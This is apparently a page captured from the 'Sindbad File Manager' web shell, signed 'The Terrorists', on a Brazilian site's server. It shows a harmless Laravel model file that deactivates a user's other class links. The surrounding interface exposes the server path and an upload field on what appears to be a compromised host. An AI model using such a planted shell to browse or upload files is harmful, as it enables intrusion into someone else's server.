Sindbad~EG File Manager

Current Path : /var/www/html/apiprodescolacandidatos.eagledigital.com.br/app/Models/
Upload File :
Current File : /var/www/html/apiprodescolacandidatos.eagledigital.com.br/app/Models/UserClass.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class UserClass extends Model
{
    use HasFactory;

    protected $table = 'users_classes';

    protected $fillable = [
        'user_id',
        'class_id',
        'created_at',
        'updated_at'
    ];

    public $timestamps = true;

    protected static function booted()
    {
        static::creating(function ($userClass) {
            if ($userClass->active) {
                self::where('user_id', $userClass->user_id)
                    ->where('id', '!=', $userClass->id)
                    ->update(['active' => false]);
            }
        });

        static::updating(function ($userClass) {
            if ($userClass->isDirty('active') && $userClass->active) {
                self::where('user_id', $userClass->user_id)
                    ->where('id', '!=', $userClass->id)
                    ->update(['active' => false]);
            }
        });
    }

    public function user()
    {
        return $this->belongsTo(User::class);
    }

    public function class()
    {
        return $this->belongsTo(Classes::class, 'class_id');
    }
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists